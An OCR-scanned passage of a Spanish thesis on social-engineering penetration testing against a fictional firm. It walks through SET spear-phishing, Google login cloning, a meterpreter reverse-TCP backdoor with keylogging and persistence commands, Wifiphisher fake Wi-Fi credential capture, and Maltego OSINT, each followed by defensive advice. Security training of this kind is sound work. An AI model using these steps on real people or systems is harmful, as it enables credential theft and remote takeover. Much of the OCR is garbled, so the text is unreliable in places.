social. Si no fuera el casoy se quisiera instalar el programa se deberian realizar los siguientes

comandos:
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e gitclone https://github.com/trustedsec/social-engineer-toolkit setoolkit/
e cdsetoolkit

e pip3 install-r requirements.text

e python setup.py

e Setoolkit

Recomendamos hacer uso de la opcion Kali, dado que facilita la instalacion y el uso de la
herramienta, sin preocupaciones sobre nuevas actualizaciones de esta. También tenemos la
posibilidad de hacer una instalacidon en el sistema operativo Windows. Mediante la previa
instalacion del subsistema de Linux en Windows WSL (caracteristica introducida en Windows 10
gue permite instalar un Kernel Linux directamente sobre el sistema operativo de Microsoft). En

un terminal ejecutamos dichos comandos:

wsl—install

e Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-
Subsystem-Linux
e Gotothe Store and find Kali

e sudo apt installset-y

Si entramos en modo Kali Linux podremos acceder al programa via menu, Figura 3, en el
apartado de “Social Engineering Tools” que nos muestra diferentes programas que vienen

preinstalados dentro de la distribucidn. Seleccionaremos “social engineering toolkit”.
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A IR

maltego

% msf payload creator

ﬂ All Applications
social engineering toolkit

Q 01 - Information Gathering

‘{h 02 - Vulnerability Analysis

. 03 - Web Application Analysis

@ 04 - Database Assessment

ﬁ 05 - Password Attack:

@ 06 - Wireless Attacks

E 07 - Reverse Engineering

£M 08 - Exploitation Tools

& 09 - Sniffin

E 10 - Post Exploitation

{!I] 11 - Forensics

12 - Reporting T

@ 13 - Social Engineering Tools
42 - Kali & ¢ Links

%s® Settings

B Usual Applications

Figura 3. SET Inicio

El programa tiene un mend, Figura 4, dénde disponemos de multiples opciones
(Gotowebsecurity, 2017). Nosotros nos centraremos en los principales ataques y podremos ver

su gran capacidad para desarrollar dichos ataques y lo intuitivo que son los menus que ofrece.

from the menu:

Social-Engineering Attacks
Penetration Testing (Fast-Track)
Third Party -'11.'JI.:|LJ].'E‘_

Update the al=-Engineer Too
Ui 5 ifigurat

Help, Irrn:ll ts, and About

39) Exit the Social-Engineer Toolkit

Figura 4. SET Opciones
Si accedemos a la primera opciéon podemos ver la variedad de ataques que ofrece para la
ingenieria social, segun detalla la Figura 5:
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Generator
e a Payload and Listener
Mass M: er Attack

Arduin ed Attack Vector
Wireless Ac s Point Attack Vector
nerator Attack
1 Attack Vectors
Third Party Modu

Return back to the main menu.

Figura 5. SET Opciones de tipos de ataque

7.1.1.1.- Spear-Phishing
Vamos a ver la primera opcién que es sobre los Spear-Phishing, la mecdnica es la siguiente. Llega

un correo electrdnico, aparentemente de una fuente confiable, que dirige al destinatarioincauto
a un sitio web falso con gran cantidad de malware. Es una buena prueba de fuego, para enviar
correos a empleados vulnerables, ya sea el departamento de Recursos Humanos o el de
Secretariado, dado la informacion confidencial que suelen disponer. A menudo, estos correos
electroénicos utilizan tacticas inteligentes para captar la atencién de las victimas. Una vez
seleccionada la opcién nos aparecera otro menu, que nos indicard como deseamos hacer el
ataque. Entre las tres opciones disponibles, escogeremos la de correo electrdénico, como se

puede observar en la Figura 6:

are two optio one is gettin our feet wet and letting SET do
thing for on 1), the cond is t eate your own FileFo
ad and use it in your own attack. Eithe y, good luck and

form a Mass Email Attack
te a FileFormat Payl
) Create a Social-Enginee

Figura 6. SET Spear-Phishing

Acto seguido nos preguntard como deseamos el formato del exploit, en nuestro caso

seleccionaremos la opcién 1, como se detallaen la Figura 7.
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SET Custom Written DLL Hijacking Attack Ve ([ RAR,
SET Custom Written Document UNC LM SME ( Attack
5 F : Media Cen z

P s

r Eu++ut
d ETF pF: LS ick Bu r Overflow (MS10
F1th pld“lt "Button” e Code Execution
) obe ING Table “unigueN Overflow
9) Adobe F1afh F r "newfunction® Invalid Pointer Use
obe Coll ectEmailInfo Buffer Overflow
1) Adobe ¢ i Icon Buffer Overflow
Adobe JB e Memory Corruption Exploit
Adobe PDF Embedded EXE Social Engineering
Adobe util.printf() Buffer Overflow
Custom EXE to VBA ( ia RAR) |FPE IPLULItd1
) Adobe U3ID CLODPr =

h LA B Ld

PODF Reade

Buffer Overflow
Vulnerability
Overflow (ms12-027)

Figura 7. SET Format Exploit
A continuacion, solicita una serie de datos:

La IP desde dénde se realizara el ataque. Al ser un ataque dentro de la misma red,

usaremos la IP local del servidor.
e Cdémo queremos el malware, a través de HTTPS, PowerShell, Ejecutabile, ...
e El puerto de escucha por déonde se tendré la comunicacion.
e Elnombrey la extensién del fichero que se enviara, Word, PDF, PowerPoint, ...
e Que tipo de comprension debe tener el fichero, Zip o Rar.
e sielenvio sera masivo
e Qué tipo de plantilla se desea
e Desde que cuenta de correo se enviard y a que destinario se emitird (O mdultiples

destinatarios).

Escogeremos una plantilla ya predefinida y una configuracion predeterminada. Una vez
generada la configuracion el programa se pondrd en modo escucha, a la espera que la victima

acceda al contenido del correo electrénico emitido, como se puede ver en la Figura 8.
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.1.4-dey
147 auxiliary - 367 post
encoders - 10 nops

=51
45

Metasploit tip: After running ap, be sure to
check out the result of ts and

Processing /root/.set//meta_config for ERB directives.
resource (/root/.set//meta_config)> use exploit/multi/handler

Using configured payload generic/shell_reverse_tcp
resource (/root/.set//meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD = window eterprete verse_tcp
resource (/root/.set//meta_config)> set LHOS T | —
resource (/root/.set//meta_config)> set LPORT 443
LPORT = 443

set EnableStageEncoding false

EnableStageEncoding = false
r urce (/root/.set//meta_config)> set ExitOnSession false
ExitOnSession = false
resource (/root/.set//meta_config)> exploit -j

Exploit running as background job @.

Exploit completed, but no session was created.

Started reverse TCP handler on =—————— Y3
msf6 exploit( N |

Figura 8. SET Listener

Para combatir la amenaza del spear-phishing, las empresas debenimplementar controles tanto
tecnoldgicos como humanos. Las empresas deben recomendar ejercicios de simulacion de
phishing, capacitacidon de usuarios y proporcionar un mecanismo facil para que los usuarios
puedan informar sobre correos electrénicos sospechosos al equipo de seguridadde IT, ademas
de disponer de controles estandar como filtros de correo no deseado, deteccion de malwarey

antivirus.

7.1.1.2.- Clonar una web
Otro claro ejemplo del que disponemos dentro del mismo programa es clonar exactamente una

web para poder extraer las credenciales de una persona. Otra gran oportunidad para poner a
prueba la plantilla de empleados, y ver sidisponen del instinto de desconfianza que deberian
generar este tipo de paginas webs. En este caso se debe optar por empleados vulnerables con

altos conocimientos de informacion confidencial.

El sistema es realmente sencillo. Te va preguntando una serie de preguntas que iras

respondiendo. Sobre IP, la direccion URL que quieres afadir, etcétera. En nuestro caso, para
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hacer un ejemplo, usaremos la IP local, dado que atacaremos desde dentro de la red de la
empresa FictCorp, pero siqueremos realizar dicho ataque en una red externa, deberemos usar
una IP publica para que pueda tener acceso. Existen herramientas para realizar tuneles hacia
una IP local a una IP publica como ngrok. Para las pruebas que vamos a realizar, sera a escala

local. Usaremos la opcién dos del menu como se detalla en la Figura 9:

Vectors

nerator
; ‘load and Listener
£5 Mailer Attack

Arduino-Based Attack Vector
5 Point Attack Vectaor
tor

99) Return back to the main menu.

Figura 9. SET Clonar WEB

Y dentro de la opcidon dos, seleccionaremos el nimero 3 de recoleccion de credenciales, como

se puede observaren la Figura 10.

1) Java Applet At ¢ Method
) asploit Bro r Exploit Method
:dential Harvester Attack Method
Tabnabbing Attack Method
ting Attack Method

HTA Attack Method

RBeturn to Main Menu

Figura 10. SET Recoleccion de credenciales

Para hacer un sencillo ejemplo, seleccionamos una web plantilla, y haremos uso de la plantilla
de Google. No obstante, se puede usar cualquier pagina web, que disponga de una entrada de

credenciales, para hacer uso de la extraccion.

Una vez realizada la clonacién, véase Figura 11, podemos usar la direccién URL generada,

normalmente en el puerto por defecto, 80.
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> Select a template:2

/ HTTP/1.

GET
"GET /f

Figura 11. SET Clonacidn

Y vemos que la web clonada es igual que la original, donde solicita el usuario y password de

Google (Figura 12):

Sign in - Google Accounts X | % Descargas x | + |

SR Y YL R m— x ®(
Google

Sign in with your Google Account

esunaprueba

Password

Sign in

I dn atCount

I~y

One Google Account for everything Google

Figura 12. Solicitud de Credenciales
Anadiendo unas credenciales ficticias, para hacerle ver a la empresa FictCorp que puede haber
vulnerabilidad, vemos que el programa puede capturar, dichos datos, sobre el usuario,
comprometiendo su accesoy acto seguido el atacante disponer de informacion personal de la

victima, como se puede ver en la Figura 13.
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- - [08/Nov/2021 16:44:02] "GET / HTTP/1.1" 200 -
- - [@e8/Nov/2021 16:44:083] "GET /favicon.ico HTTP/1.1" 404 -

3/Nov/2021 16:46:01] "POST /ServicelLoginAuth HTTP/1.1" 302 -

Figura 13. SET Captura de credenciales

Esta prueba para realizarla de una manera mas real, como se ha comentado anteriormente, se
deberia realizar sobre una IP publica, y mandar el enlace a la victima sobre la cual se quiere
extraer dicha informacidn. En la fase de recopilacidon de informacion, seguramente hayamos
encontrado posibles victimas de la empresa la cual disponen de accesos a informacién sensible
y tengan mds opciones a la vulnerabilidad de dicho ataque. Con unos conocimientos
informaticos, nos dariamos cuenta de que la direccién del enlace no es la correcta, o al menos
tendriamos la duda, pero es posible que alguien pueda caer en la trampa. Es por ello, que se

intenta incidir en la formacién de los trabajadores para poder prevenir dichos ataques.

7.1.1.3.- Generacion de un Backdoor
Como podemos ver, SET ofrece un gran abanico de posibilidades dentro de la ingenieria social.

Otra opcidn que se puede usar es la de la generacién de una puerta trasera (Julia, 2020). Para

ello, podemos seleccionar la opcién 4 del menud, como se puede ver en la Figura 14.
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Spear-Phishing Atta
W ite Attack
In tious Media Generator
Create a Payload and Listener
M Mailer Attack
Arduino-Based Attack Vector
ACC i ck Vector
) anerator Att
Powershell Attack \
Third Party Modules

B

D 00—~ h

Return back to the main menu.

Figura 14. SET Backdoor

En el mundo del malware, un Payload es un troyano o virus que se utiliza para acceder a un

ordenador remoto. A continuacién, seleccionaremos la opcidn 2 del siguiente menu (Figura 15).

Figura 15. SET Seleccionar meterpreter

Y acto seguido nos pediran valores del listener como la IP y el puerto. Usaremos la IP del

VMWare, asicomo el puerto predefinido 443. Estos datos son configurables.

En este momento el programa generara un ejecutable ylo guardara en una carpeta en concreto.
Podemos ir a buscar dicho fichero y cambiar el nombre por algo mas interesante que capte la
atencioén de la victima. En nuestro caso, dejaremos dicho fichero con el mismo nombre. El
programa, a continuacion, nos ofrecerd la opcidn ainiciar el proceso de escucha. Le diremos que

si, y el terminal estard en modo espera para ver si capta informacion, véase Figura 16.
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Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use multi/handler
Using configured payload generic/shell_reverse_tcp
resource (/root/.set/meta_config)> set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST |
LHOST = S
resource (/root/.set/meta_config)> set LPORT 433

LPORT = 433

resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession = false
resource (/root/.set/meta_config)> exploit -j

Exploit running as background job 0.

Exploit completed, but no session was created.

Started reverse TCP handler on [N : 33
msf6 exploit( ) > |

Figura 16. SET Escuchando en la direccidn y puerto

Llegados a este punto, se debera enviar el fichero ejecutable generado con anterioridad a la
magquina de la victima. Aqui entra en juego la capacidad del probador pentesting para hacer
llegar ese fichero sin que la victima lo sepay lo pueda ejecutar. Si el empleado caeen la trampa
y ejecuta el fichero, podremos obtener accesoremotoa su ordenador y comprometer los datos

con los que trabaja.

Una vez se ha ejecutado, veremos que en el terminal nos inicia una sesién, como se puede ver

en la Figura 17.

Started reverse TCP handler on /N : /(3
msfé exploit( ) > Sending stage (175174 bytes) o |  ———
Meterpreter session 1 opened (/NEEEEEEEEEEE——— 43 — DEaaassssss—S:50183) at 2021-12-16 16:56:45 -0500
Sending stage (175174 bytes) | |
Meterpreter session 2 opened (Eeeee————— 443 — Seeessssss———:50185) at 2021-12-16 16:56:50 -0500

Figura 17. SET Listado de sesiones

Mediante una serie de comandos ya podremos acceder al ordenador remoto. Usaremos el

comando “sessions —i 1” para acceder al ordenador de la victima (Figura 18).

e s :
) > sessions -1 1

Figura 18. SET Iniciando sesion

Llegados a este punto disponemos de una serie de comandos que nos van a ayudar a la

extraccidon de informacion.

e Sysinfo, nos mostrara informacién del ordenador, como se puede ver en la Figura

19.
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> sysinfo
: DESKTOP-NGAT7PV
Windows 18 (18.8 Build

5 em Language
Domain
Logged On Users

xB6/windows

Figura 19. SET Informacidn sistema

e Screenshot, capturara unaimagendel ordenador en ese momentoy nos lo guardara
en nuestro sistema operativo Kali. No mostramos la imagen, dado que sera una
imagen propia del sistema Kali en ese momento, se estd corriendo una maquina
virtual.

e keyscan_start, este comandotambién es muy interesante, dado que captura todas
las teclas desde la mdaquina de la victima. Servird para la obtencién de datos
confidenciales o de claves que haya podido introducir la victima. Y mediante el
comando keyscan_dump, podremos visualizar lo que se ha escrito. Para parar el

escaneode teclas, se debe usar el comando keyscan_stop (Figura 20).

‘H»as espero gue est<AGUDO> >es bien<CR>

Figura 20. SET Parando servicio
Estos son los comandos que consideramos mas interesantes a la hora de extraer informacién.
Luego tenemos otro tipo de comandos para mantener dicha conexién en casode que la victima

reinicie la maquina o la apague. “persistence—U | 5 —p <port number> <IP address>".

Y luego el atacante deberd volver a ejecutar los siguientes comandos para reestablecer su

conexion trasera.

e Msfconsole

e set PAYLOAD windows/meterpreter/reverse_tcp
e setLPORT <port number>

e setLHOST <IPaddress>

e exploit
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A nivel de usuario, si deseamos prevenirnos de este tipo de ataque se debera disponer de un
antivirus, asi como que esté actualizado. Estos ataques son la puerta de entrada a la obtencion
y eliminacién de archivos, por ejemplo, de una empresa, y puede comprometerla generdndole

grandafio econdmico.

7.2.- Simular una conexion Wifi

En la ingenieria social, existenlos ataques Phishing que hemos comentado anteriormente. Una
de las técnicas que se utiliza con mayor frecuencia y dénde la victima puede tener mas opciones
de cometerun errory caeren latrampa del ingenierosocial es en la simulacién de una conexion
Wifi. Existen diferentes herramientas que pueden ayudar al Ingeniero social a capturar
credenciales de una manera mas o menos sencilla. Sabemos que la empresa FictCorp dispone

de un serviciode Wifi tanto para empleados como para clientes.

Para la simulacién de una conexidon Wifi hemos optado por instalar en nuestra maquina virtual
Kali, la herramienta Wifiphisher (Mundohackers, 2022). También haremos uso de una antena

Wifi parala simulacién de una red Wifi.

e gitclone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
e cd wifiphisher # Switch to tool's directory

e sudo python setup.pyinstall # Install any dependencies

Podemos decir sobre Wifiphisher que es una herramienta de seguridad que realiza ataques de
phishing contra clientes Wi-Fi para obtener credenciales o infectar a las victimas con malware.
Es sobre todo un ataque de ingenieria social que a diferencia de otros métodos no incluyen
ninguna fuerza bruta. Es una manera facil de obtener credenciales de portales y paginas de inicio
de sesion de terceros o las claves previamente compartidas de WPA/WPA2. El programa
interrumpe sin cesar todos los dispositivos de WLAN del punto de acceso mediante la
configuracion de paquetes “de-authenticate” o “Disassociate” para interrumpir las asociaciones

existentes.

Las opciones que ofrece el programa son cuatro posibles escenarios para poder capturar

credenciales o infectar a la victima, véase Figura 21.
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Available Phishing Scenaries:

to authenticate using OQAuth

3 - Firmware Upgrade Page
fi ] 1 or brands

4 = Browser Plugin Update
A generic br r plugin update page that can be used to s
victims,

Figura 21. Tipos de escenarios

Nos centraremos en las opciones de captura de credenciales. Como podemos ver, podemos

disponer de tres posibilidades. Ejecutamos el siguiente comando (Figura 22):

oauth-login

Figura 22. Iniciar proceso de captacionde credenciales

Mediante este comando generara un SSID aleatorio, donde podremos ver diferentes tipos de
conexiones Wifi, que intentardncaptar la atencién del usuario. Del listado de opciones de SSID
suelen aparecer SSID de aeropuertos o zonas de paso. Esto es debido, que suelen ser sitios
dénde el usuario quiere mantenerse conectado, pero no dispone de una conexién en ese
momento, es por ello por lo que el programa utiliza la necesidad del usuario para intentar captar
suatencion. A nivel de la empresa FictCorp, se debe incidir en este tipo de conexiones al personal
gue se desplaza constantemente y que tiene en su poder informaciéon de gran valor para la

empresa. Podemos ver en la Figura 23 claros ejemplos de SSID:

airport

2ewifi)

dall

. free
Sending 60 k s | .« AIF 'T FREE-WIFI)

Figura 23. SSID aleatorios

Si intentamos conectarnos a una de esas conexiones nos saltara el siguiente mensaje, véase

Figura 24
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Inicia sesion en FON_FREE_EAP :

www.google.com

A simple, no frills Wi-Fi service.

Login using Fac

Email

Password

Terms of Usage

Figura 24. Pdgina de captura de credenciales

Una pagina de solicitud de credenciales simulando, por ejemplo, en este caso, una pagina de
redes sociales. De esta manera, el atacante podra captar datos del atacantey entrar en dichas
paginas, con los datos que la victima le ha entregado. El programa escucha, mostrara los datos

de acceso, como se puede ver en la Figura 25.

(#SFO FREE WIFI
acons (NFWIFI
(Fon WiFi
(Android ... airport fre ifi)
:cf:50 probed for WLAN with ESSID: ‘AlwaysOn' (Known Beacons)

_ Unknown Android

from =———
from
from| NEEEE ) ith

from I ok
from | for htt

Figura 25. Sistema de captacidn de credenciales
A nivel de usuario, como se ha comentado anteriormente, tiene una tasa de éxito mayor en
zonas donde el usuario requiere de una conexioén, e intenta acceder a una libre. El objetivo de
este tipo de ataque esta pensado hacia directivos y comerciales, que realizanviajes y escalas en

diferentes aeropuertos. La prevencion que se puede realizar a nivel de empresa es la de disponer
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de una tarifa plana de datos, o nunca realizar conexiones a sitios desconocidos, dado que

podrian comprometer datos confidenciales de la empresa.

Podemos realizar otro ataque mediante el uso de otro comando (Figura 26). En este caso

replicaremos una conexion de nuestrorango, e imitaremos un SSID cercano.

Figura 26. Comando para replicar SSID
Una vez ejecutado el comando nos aparece la siguiente ventana, dénde seleccionaremos el SSID
gue deseamos clonar (dentro del rango de nuestra antena). Seleccionaremos el primero de la

lista (Figura 27).

PWR

Figura 27. Listado de las SSID que se pueden replicar
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En este preciso momento, deberemos esperar a que alguien intente seleccionar esa conexion
Wifi, e intente conectarse. La conexién Wifile solicitard, sise conecta, mediante una pagina web,
los datos de conexién, que seran los de la contrasefa para acceder al SSID, como se puede

observar en la Figura 28.

2 Sistema Android ® 0 x = .

Iniciar sesion en red Wi-Fi
- MiFibra-E7C6

Figura 28. Introduccidnde credenciales

Podemos ver que todo el proceso que realiza la victima puede serle familiar y no llegaria a la

conclusion de que realmente estd siendo atacado (véase Figura 29).

Inicia sesion en MiFibra-E7C6
www.google.com

Enter the password for "MiFibra-E7C6"

Enter Password Join

Password

You can also access this Wi-Fi network by bringing your device near
any iPhone, iPad, or Mac which has connected to this network and
has you in their contacts.

Figura 29. Introduccidnde credenciales
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Una vez introducidos los datos por la victima, la pdgina web redirecciona a un sitio no disponible
y el probador pentester habra conseguido su objetivo, disponer de una clave de accesoa la red

de la victima. En este preciso momento el atacante dispone de mas informacion (Figura 30).

] Unknown Android

] GET reque from | for http://connectivitycheck atic.com/generate_204
st from = with wfphshr-wpa-passwords= ;

t from [ for http://connectivitycheck.gstatic.
GET request from = for http://connectivitycheck.gstatic.
GET request from [ for http://connectivitycheck.gstatic.con nerate_204

Figura 30. Pantalla que visualiza el atacante

Este tipo de ataque tiene como objetivo, acceder a redes privadas de sitios que tengan
conexiones inalambricas. Pongamos el caso que un atacante se sitle justoallado de la empresa
FictCorpy este empiece a clonar el tipo de wifi que ofrece la empresa a sus trabajadores. La tasa
de éxito que puede tener si un empleado cae en este ataque es alta dado que el empleado no
tendrd capacidad para distinguir que se ha conectado en un sitio que no es seguro. Es por ello,
gue a nivel de empresa, se debe incidir en el aspecto de formar a los usuarios en materia de

conexiones, y que tengan conciencia que pueden existir riesgos a nivel de suplantacion de redes.

El otro posible escenario que se ha realizado ha sido el de una pagina que dice que se necesita
actualizar el firmware (Figura 31) solicitando la clave de red. En este caso, se realiza el mismo
procedimiento sobre captura de credenciales, que el primer ejemplo. Dispones de una pagina
web que solicitara claves de acceso para poder acceder. El sistema realizard una recoleccion de

los datos que ha emitido el formulario de acceso.
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Firmware Upgrade

A new version of the Unknown firmware (1.0.12) has
been detected and awaiting installation. Please review
the following terms and conditions and proceed.

Terms And Conditions:

1. LICENSE.

Subject to the terms and conditions of this Software
License Agreement, Unknown hereby grants you a
restricted, limited, non-exclusive, non-transferable, license
to use the Unknown Firmware/Software/Drivers only in

[ I Agree With Above Terms And Conditions

WPA2/WPS Pre-Shared Key:

Start Upgrade

® Unknown 2021, All Rights Reserved.

Figura 31. Captacion de credenciales
Esta herramienta trabaja tanto con un menu, como via comandos. Se dispone de una serie de
parametros que se han afiadido como anexo (Anexo B) dentro del trabajo, para poder
profundizar en esta potente herramienta de extraccidn de contrasefias de una manera no bruta,

pero poco licita.

7.3.- OSINT: Recabar informacion mediante Maltego

Una de las principales tareas de un ingeniero social, como hemos comentado anteriormente, es
la de recabar informacién sobre sus victimas antes de realizar ataques, paraver dénde estan sus
puntos de acceso, asi como sus posibles puntos débiles. No dedicarle el tiempo justoa esta tarea

puede conllevar alatacante alfracaso, es por ello por lo que se considera un aspecto clave.

Existen en el mercado diferentes herramientas que realizan esta funcién de recabar

informacién. Nosotros como probadores, nos centraremos en una de ellas, seguramente la mas
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popular dentro del sector, dadas sus posibilidades, esta herramienta es Maltego
(WelLiveSecurity, 2014). Este tipo de herramientas estarian dentro de la fase dos del ciclo de vida
de un ataque de Ingenieria Social, es vital que la empresa FictCorp tenga conocimiento de que

informacidn circula por la red de una manera publica y sin control.

Sobre Maltego se puede decir que es una de las herramientas mds completas y mejor
implementadas que existen actualmente en el mercado enfocada sobre todo en la recoleccion
de informacién y mineria de datos. Su valor afiadido con respecto a otras herramientas es la
representacion de la informacién que la muestra de una forma grafica. Por otro lado, Maltego
permite enumerar informacion relacionada con elementos de red y dominios de una forma
bastante comprensible y enumerar informacién relacionada con personas, datos tales como
direcciones de email, sitios web asociados, nimeros de teléfono, grupos sociales, empresas

asociadas, etc. Endefinitiva, una poderosa herramienta de recopilacién de datos.

Para esta parte del trabajo nos centraremos en como arrancar un funcionamientoy realizaremos
blusquedas para poder ver su poder dentro del mundo de la recoleccién de datos. Haremos uso
de la maquina virtual que tenemos instalada Kali. Por defecto en Kali ya viene instalada la
herramienta Maltego (Figura 32), sin embargo, si se debe instalar, requerira de la plataforma
Java para suejecucién. Hay que comentar que este software puede ejecutarse tanto ensistemas

operativos Windows como Mac.
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Figura 32. Maltego en Kali Linux

Una vez ejecutado el programa, nos solicitara claves de acceso, debemos primeramente
habernos registrado. Existe esta fase porque la herramienta ofrece diferentes tipos de licencia.
Nosotros optamos por la licencia gratuita, dado que el uso que vamos a darle es basico. Sin
embargo, se comentard con la Empresa FictCorp la opcion de disponer de una licencia con
mayores prestaciones si lo considera oportuno, dadas las posibilidades que brinda Ila

herramienta.

Una vez arrancado el programay con la pertinente licencia, podremos escoger transformaciones
que ofrece el programa, algunas gratuitas y otras de pago, también hay otras que requieren de
un registro previo a suuso. Optaremos por instalar alguna que pueda ofrecer alingeniero social
algun plus de informacion respectoa sus victimas. Para realizar las pruebas hemos optado por

instalar (Figura 33), por ejemplo:

e Google Maps GeoCoding: Conversor de direcciones fisicas a coordenadas geograficas
(latitud y longitud).
e CaseFile Entities: Este elemento incluye todas las entidades disponibles y se usa

generalmente para las investigaciones.
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e Fasight DNSDB: Esta transformacién ofrece la base de datos de inteligencia de DNS mas
grande del mundo que proporciona una visién de la configuracion de la infraestructura
global de Internet.

e Standard Transforms CE: La transformacion por defecto de Maltego, con ella se puede
recopilar informacion de fuentes comunes de Internet, como consultas en servidores
DNS, motores de busqueda, redes sociales, varias APl y otras fuentes.

e Have |l been Pwned?: Es un servicio gratuito de busqueda y notificacién de violaciones
de datos que monitoriza las violaciones de seguridady las filtraciones de contrasefias
gue hayan podido tener los usuarios.

e Shodan: Es un motor de busqueda que recoge datos de dispositivos conectados a
Internet. Estos dispositivos conectados son consultados en busca de informacién
disponible publicamente.

e Social Links CE: Es un complemento gratuito para recolectar datos desde ZoomEye,
Shodan, SecurityTrails, Censys, Rosette, Skype, Documentcloud, bases de datos propias

de Social Links, busqueda de empresas (Offshores, CompaniesHouse), etc.

TRANSFORM HUB PARTNERS 773 shown v

Standard Transforms CE CaseFile Entities Farsight DNSDB Google Maps Geocoding Have | Been Pwned?
by Maltege Technologies by Paterva SCll &, Farsight Security. Inc by Maltego Technologies by Christian Heinrich
Free Standard OSINT Transforms Useful entities for modeling investigations. Query the |argest DNS Intelligence database, Normalize and enrich location data inyour Pwned Password vT Support
100+ illion records. investigations.

Shodan Social Links CE

by Maltego Technolagies Y iy sedalinks
Shodan is the world's first search engine far Free transforms (No APl Key required) to retrieve
Internet-connested devices. Query global loT . data from ZoomEye, Shodan, SecurityTrails, ...

Figura 33. Transformaciones dentro de Maltego

Realmente, existe una gran variedad de opciones, y viendo las opciones de dichas
transformaciones podemos extraer un amplio abanico de informacién. Se trata simplemente de

jugar con las diferentes opciones que ofrece esta gran herramienta.

Una vez instaladas las transformaciones, podremos ya recabar la informacién deseada. En
nuestro caso, empezaremos buscando por personas. Dado que este tipo de busquedas son de
caracter personal, deberian ser consensuadas por la persona que se busca, se hard una
busqueda con usuarios que hayan dado su consentimiento previo, afiadiendo nombres vy
apellidos y ver qué informacion existe en la red sobre su persona. Para ello, generaremos un

nuevo grafico, véase Figura 34:
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Figura 34. Generar un nuevo grdfico en Maltego

Se nos abrird una ventana en blanco con una paleta con amplio abanico de opciones a nuestra

mano derecha. Para la opcién de usuario seleccionaremos “Person”, véase Figura 35.

Search:

Infrastructure
Locations

Malware
PassiveTotal
Penetration Testing
People

Personal

Alias

An alias for a pe

Document

A document on the Internet

Email Addr

An email ma to which email

Image

Person

v representing a human

Phone Number

One fumBber

Phone NHumber {(Mobile)

umber of a

Figura 35. Seleccionando un tipo de entidad

Sera tan sencillo como arrastrar dicha transformaciéon dentro del grafico. Y a continuacion
haciendo doble clic se nos abrira una ventana de configuracion, dénde introduciremos los datos
que deseamos buscar. En este caso, nombres y apellidos. Una vez introducidos, haciendo clic
izquierdo sobre el objeto generado (Figura 36), nos aparecera multitud de opciones, para hacer

la busqueda.
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Figura 36. Seleccionando que tipo de busqueda se quiere realizar

En este caso, para ver la funcionalidad amplia de la herramienta seleccionaremos todas las
posibles transformaciones. En este momento, el sistema ejecuta un proceso de recoleccién de
datos, y nos mostrara, de una manera grafica, toda la informacién publica que haya podido
encontrar en internet. Cuantas mas opciones seleccionemos, mas tiempo de ejecucion tendra
el proceso. Una vez finalizada la buisqueda, podemos ver que ha hecho una extraccién de los
datos. A simple vista, se puede ver que el programa muestra contactos préximos a la persona
(Figura 37), documentos en la red dénde se ve reflejado sus nombres, informacion quiza util,
gue, de una manera publica, sen pueden ver datos confidenciales de la persona sin tener
conocimiento que estos datos son publicos. Como ya hemos comentado anteriormente, es una
herramienta de doble sentido, es decir, es buena para recolecciéon de datos por parte del
atacante, y es muy buena herramienta para ser conocedores de que informacién de la empresa

que estd albergada en la red de internet de una manera publica.
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Figura 37. Output de la consulta dentro de Maltego

Se ha realizado otra busqueda, un poco mas directa, y ha sido mediante la busqueda de un
correo personal (Figura 38), consideramos, de esta manera que encontraremos mas
informacidn, y mayores indagaciones sobre la persona propietaria del correo electrdnico. La
dinamica de esta herramienta es la deir jugando con la multitud de opciones que dispone, y ver
que, si no se encuentra una informacién deseada, se debe usar mediante otra via, para

posiblemente obtener mas éxito.
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Figura 38. Output dentro de Maltego

Podemos ver en la imagen, que, mediante la blsqueda por correo personal, el programa
encuentra datos mas interesantes como sitios web registrados, documentos déonde se ve
reflejado el correo personal, asi como diferentes IP publicas. Esta opcién ha sido de mayor

utilidad que la anterior, dado que aqui hay mas informacién expuesta.

Otra opcién que se va a usar es la de busquedas por dominio, en este caso, para realizarpruebas,
usaremos los dominios conocidos (Figura 39) y autorizados que nos ha dicho la empresa

FictCorp. Miraremos que abanico de informacion genera el programa.

Figura 39. Output dentro de Maltego

Podemos ver el conglomerado de informacién que nos puede mostrar el programa. Desde
numeros de teléfono, correos electrdnicos, IP, localizaciones, dominios, DNS, etcétera. Gran
cantidad de informacién, que puede ser usada para recolectar informacién. También hay que
comentar que desde un nodo se puede hacer una busqueda mas profunda. Hemos realizado la
prueba, y dado que teniamos el addon de Shodan (Figura 40) instalado, se ha podido realizar

una busqueda desde una IP publica y ver qué informacién podiamos extraer.
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Figura 40. Shodan

Vemos que haciendo una busqueda con mayor profundidad aun podemos hacer una mayor

extraccion de datos, como se puede ver en la Figura 41.
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Figura 41. Output dentro de Maltego

Para este tipo de trabajos, el de recoleccion de informacién, hemos usado Maltego, pero en el
mercado existen multiples programas que pueden cumplir con esta funcién de una maneraigual
de excelente que esta, como, por ejemplo, dnsnum, Dmitry, goofile, Metagoofil o theHarvester,

entre otros.

A nivel de usuario, y a nivel de empresa, es obvio que debemos ser visibles en Internet, para

tener notoriedad y podernos publicitar, pero debemos ser conscientes que tipo de informacién
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debe estar en dominio publico, y que tipo de informacién no debe o no deberia estarlo. Es por
ello por lo que este programa ayudara a la empresa FictCorp a verificar que tipo de informacion
puede circular libremente por la red, y poner remedio si es necesario. Tiene un valor afiadido e
importante el tener control sobre estos datos, dado que suele ser el punto de inicio de cualquier
ataque de ingenieria social, y a veces para el atacante, una manera facil de acceder a datos, sin

excesivo trabajo.

7.4.- GoPhish

A continuacidn, vamos a hablar de una interesante herramienta phishing diseifiada para probar
y testear laingenieria social, que muestra cémo de conscientes son los usuarios sobre el peligro
de los ataques de ingenieria social. Gophish (Perez Fernandez, 2018) es una herramienta que
ciertamente simplifica los ataques reales de ingenieria social, ayudando de esta manera a los
probadores de penetracién sobre posibles fallos dentro del sistema. De esta manera pueden
probar las redes locales y los usuarios que tienen. No obstante, también es usado por atacantes,
dada la simplicidad, y la capacidad que tiene la herramienta. Muchas empresas utilizan Gophish
como aplicacion para tantear o entrenar a los trabajadores ante un posible ataque de phishing
y poder descubrir el eslabdn mds débil que podria exponerse a un ataque de ingenieria social.
Como el nombre habla por si mismo, Gophish esta completamente disefiado en el lenguaje GO,
por estarazoén, sugranventaja es que lainstalacidony configuracion es casiinstantanea. También

